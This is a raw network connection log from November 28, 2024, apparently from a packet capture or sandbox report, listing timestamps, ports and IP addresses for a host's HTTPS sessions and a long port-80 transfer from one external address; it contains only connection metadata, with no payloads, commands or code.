Nov 28, 2024 08:55:44.872956038 CET	443	49743	20.190.181.4	192.168.2.8
Nov 28, 2024 08:55:44.872976065 CET	49743	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:55:44.872983932 CET	443	49743	20.190.181.4	192.168.2.8
Nov 28, 2024 08:55:45.054105043 CET	443	49751	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.072654009 CET	443	49752	172.64.41.3	192.168.2.8
Nov 28, 2024 08:55:45.093031883 CET	49751	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.093048096 CET	443	49751	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.093231916 CET	49752	443	192.168.2.8	172.64.41.3
Nov 28, 2024 08:55:45.093251944 CET	443	49752	172.64.41.3	192.168.2.8
Nov 28, 2024 08:55:45.094497919 CET	443	49752	172.64.41.3	192.168.2.8
Nov 28, 2024 08:55:45.094579935 CET	49752	443	192.168.2.8	172.64.41.3
Nov 28, 2024 08:55:45.095412970 CET	443	49751	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.095485926 CET	49751	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.098606110 CET	443	49750	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.099426031 CET	49761	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:55:45.099457979 CET	443	49761	20.190.181.4	192.168.2.8
Nov 28, 2024 08:55:45.099580050 CET	49761	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:55:45.099841118 CET	49752	443	192.168.2.8	172.64.41.3
Nov 28, 2024 08:55:45.099951982 CET	443	49752	172.64.41.3	192.168.2.8
Nov 28, 2024 08:55:45.100852966 CET	49750	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.100879908 CET	443	49750	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.101357937 CET	49752	443	192.168.2.8	172.64.41.3
Nov 28, 2024 08:55:45.101385117 CET	443	49752	172.64.41.3	192.168.2.8
Nov 28, 2024 08:55:45.101803064 CET	49751	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.101888895 CET	443	49751	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.101948023 CET	443	49750	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.101969004 CET	49751	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.101975918 CET	443	49751	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.102019072 CET	49750	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.102308035 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:45.102643013 CET	49761	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:55:45.102664948 CET	443	49761	20.190.181.4	192.168.2.8
Nov 28, 2024 08:55:45.102907896 CET	49750	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.102993965 CET	443	49750	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.103151083 CET	49750	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.103157043 CET	443	49750	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.128217936 CET	49770	443	192.168.2.8	18.165.220.106
Nov 28, 2024 08:55:45.128232002 CET	443	49770	18.165.220.106	192.168.2.8
Nov 28, 2024 08:55:45.128288984 CET	49770	443	192.168.2.8	18.165.220.106
Nov 28, 2024 08:55:45.129544973 CET	49770	443	192.168.2.8	18.165.220.106
Nov 28, 2024 08:55:45.129559040 CET	443	49770	18.165.220.106	192.168.2.8
Nov 28, 2024 08:55:45.147027969 CET	49752	443	192.168.2.8	172.64.41.3
Nov 28, 2024 08:55:45.147056103 CET	49750	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.222733021 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:45.240163088 CET	49751	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.345218897 CET	49759	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.345912933 CET	49773	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.345951080 CET	443	49773	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.346038103 CET	49773	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.346956015 CET	49756	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.348433018 CET	49770	443	192.168.2.8	18.165.220.106
Nov 28, 2024 08:55:45.350266933 CET	49780	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.350286007 CET	443	49780	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.350332022 CET	49780	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.351026058 CET	49784	443	192.168.2.8	172.64.41.3
Nov 28, 2024 08:55:45.351058006 CET	443	49784	172.64.41.3	192.168.2.8
Nov 28, 2024 08:55:45.351109028 CET	49784	443	192.168.2.8	172.64.41.3
Nov 28, 2024 08:55:45.351416111 CET	49773	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.351430893 CET	443	49773	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.351449013 CET	49755	443	192.168.2.8	172.64.41.3
Nov 28, 2024 08:55:45.352499008 CET	49784	443	192.168.2.8	172.64.41.3
Nov 28, 2024 08:55:45.352514982 CET	443	49784	172.64.41.3	192.168.2.8
Nov 28, 2024 08:55:45.353240013 CET	49780	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.353255987 CET	443	49780	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.387327909 CET	443	49759	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.391329050 CET	443	49756	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.391344070 CET	443	49770	18.165.220.106	192.168.2.8
Nov 28, 2024 08:55:45.395325899 CET	443	49755	172.64.41.3	192.168.2.8
Nov 28, 2024 08:55:45.493665934 CET	443	49751	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.493746996 CET	443	49751	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.493959904 CET	49751	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.494595051 CET	49751	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.494609118 CET	443	49751	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.517149925 CET	443	49752	172.64.41.3	192.168.2.8
Nov 28, 2024 08:55:45.517218113 CET	443	49752	172.64.41.3	192.168.2.8
Nov 28, 2024 08:55:45.517321110 CET	49752	443	192.168.2.8	172.64.41.3
Nov 28, 2024 08:55:45.517514944 CET	49752	443	192.168.2.8	172.64.41.3
Nov 28, 2024 08:55:45.517530918 CET	443	49752	172.64.41.3	192.168.2.8
Nov 28, 2024 08:55:45.552746058 CET	443	49750	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.552815914 CET	443	49750	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.552869081 CET	49750	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.553489923 CET	49750	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.553508043 CET	443	49750	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.718141079 CET	443	49755	172.64.41.3	192.168.2.8
Nov 28, 2024 08:55:45.718225002 CET	49755	443	192.168.2.8	172.64.41.3
Nov 28, 2024 08:55:45.764216900 CET	443	49756	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.764296055 CET	49756	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.841768026 CET	49785	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.841816902 CET	443	49785	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.841893911 CET	49785	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.841989040 CET	49786	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.842019081 CET	443	49786	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.842221022 CET	49785	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.842222929 CET	49786	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.842235088 CET	443	49785	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:45.842387915 CET	49786	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:45.842396021 CET	443	49786	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:46.058037043 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:46.058103085 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:46.071465015 CET	443	49759	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:46.071587086 CET	443	49759	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:46.071655989 CET	49759	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:46.071681976 CET	49759	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:46.560084105 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:46.610596895 CET	443	49784	172.64.41.3	192.168.2.8
Nov 28, 2024 08:55:46.611475945 CET	443	49780	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:46.615516901 CET	49784	443	192.168.2.8	172.64.41.3
Nov 28, 2024 08:55:46.615575075 CET	443	49784	172.64.41.3	192.168.2.8
Nov 28, 2024 08:55:46.615688086 CET	49780	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:46.615706921 CET	443	49780	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:46.615972042 CET	443	49784	172.64.41.3	192.168.2.8
Nov 28, 2024 08:55:46.616075039 CET	443	49780	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:46.617188931 CET	49784	443	192.168.2.8	172.64.41.3
Nov 28, 2024 08:55:46.617304087 CET	443	49784	172.64.41.3	192.168.2.8
Nov 28, 2024 08:55:46.619025946 CET	49780	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:46.619112015 CET	443	49780	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:46.679965019 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:46.738326073 CET	49780	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:46.744689941 CET	49784	443	192.168.2.8	172.64.41.3
Nov 28, 2024 08:55:46.999876976 CET	443	49770	18.165.220.106	192.168.2.8
Nov 28, 2024 08:55:46.999991894 CET	443	49770	18.165.220.106	192.168.2.8
Nov 28, 2024 08:55:46.999994040 CET	49770	443	192.168.2.8	18.165.220.106
Nov 28, 2024 08:55:47.000077963 CET	49770	443	192.168.2.8	18.165.220.106
Nov 28, 2024 08:55:47.016104937 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.016175985 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.016205072 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.016216040 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.016288042 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.016292095 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.016330957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.016344070 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.016356945 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.016385078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.016408920 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.016602039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.016654968 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.024652004 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.024713039 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.024751902 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.024836063 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.033390999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.033442974 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.033576965 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.033622980 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.050772905 CET	443	49786	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:47.051213026 CET	49786	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:47.051222086 CET	443	49786	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:47.051719904 CET	443	49785	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:47.051933050 CET	49785	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:47.051949978 CET	443	49785	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:47.052294970 CET	443	49785	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:47.052433968 CET	443	49786	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:47.052505016 CET	49786	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:47.053458929 CET	49785	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:47.053527117 CET	443	49785	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:47.053580046 CET	49786	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:47.053643942 CET	443	49786	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:47.144469976 CET	49786	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:47.144480944 CET	49785	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:47.144481897 CET	443	49786	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:47.226325035 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.226388931 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.226440907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.226598978 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.230298042 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.230349064 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.231803894 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.231849909 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.231906891 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.231950045 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.239835024 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.239886045 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.239959955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.240034103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.247853994 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.247925043 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.248012066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.248064041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.255918980 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.255970001 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.255985022 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.256247044 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.263940096 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.264003038 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.264024973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.264070034 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.271974087 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.272041082 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.272078037 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.272327900 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.279990911 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.280044079 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.280087948 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.280137062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.288002014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.288063049 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.288080931 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.288119078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.296026945 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.296096087 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.296123981 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.296161890 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.304089069 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.304138899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.304183960 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.346492052 CET	49786	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:47.436801910 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.436825991 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.436899900 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.438577890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.438631058 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.438673019 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.438735008 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.444619894 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.444679022 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.444725037 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.444770098 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.450666904 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.450680971 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.450740099 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.456677914 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.456824064 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.456837893 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.456912041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.462646961 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.462702036 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.462752104 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.462791920 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.468894005 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.468955994 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.469044924 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.469105959 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.474759102 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.474845886 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.474849939 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.474894047 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.480734110 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.480819941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.480865002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.480906010 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.486821890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.486876965 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.487003088 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.487046003 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.492851019 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.492912054 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.492952108 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.492984056 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.498770952 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.498873949 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.498950005 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.504865885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.504920006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.504961014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.505007982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.510853052 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.510914087 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.510953903 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.511003017 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.516844034 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.516896963 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.516942024 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.516990900 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.522836924 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.522906065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.522907972 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.523035049 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.528881073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.528930902 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.528974056 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.529011011 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.534881115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.534971952 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.535001993 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.535108089 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.541171074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.541184902 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.541219950 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.541244984 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.546930075 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.546983004 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.547003984 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.547055006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.552968025 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.553028107 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.553033113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.553073883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.558999062 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.559031010 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.559077978 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.582796097 CET	49788	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:47.582844019 CET	443	49788	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:47.582921982 CET	49788	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:47.583017111 CET	49780	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:47.583204985 CET	49788	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:55:47.583221912 CET	443	49788	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:47.623332024 CET	443	49780	162.159.61.3	192.168.2.8
Nov 28, 2024 08:55:47.647267103 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.647331953 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.647375107 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.647664070 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.649538994 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.649594069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.650384903 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.650439978 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.650454044 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.650599003 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.651743889 CET	443	49761	20.190.181.4	192.168.2.8
Nov 28, 2024 08:55:47.653326988 CET	49761	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:55:47.653352976 CET	443	49761	20.190.181.4	192.168.2.8
Nov 28, 2024 08:55:47.654067993 CET	49761	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:55:47.654073954 CET	443	49761	20.190.181.4	192.168.2.8
Nov 28, 2024 08:55:47.654123068 CET	49761	443	192.168.2.8	20.190.181.4
Nov 28, 2024 08:55:47.654131889 CET	443	49761	20.190.181.4	192.168.2.8
Nov 28, 2024 08:55:47.654891968 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.654953957 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.655093908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.655144930 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.659416914 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.659487009 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.659523964 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.659588099 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.663820982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.663897038 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.663933039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.664422989 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.668185949 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.668277025 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.668339014 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.672420979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.672477007 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.672487974 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.672617912 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.676575899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.676660061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.676712036 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.677107096 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.680613041 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:47.680675983 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:47.680721998 CET	80	49748	185.215.113.206	192.168.2.8
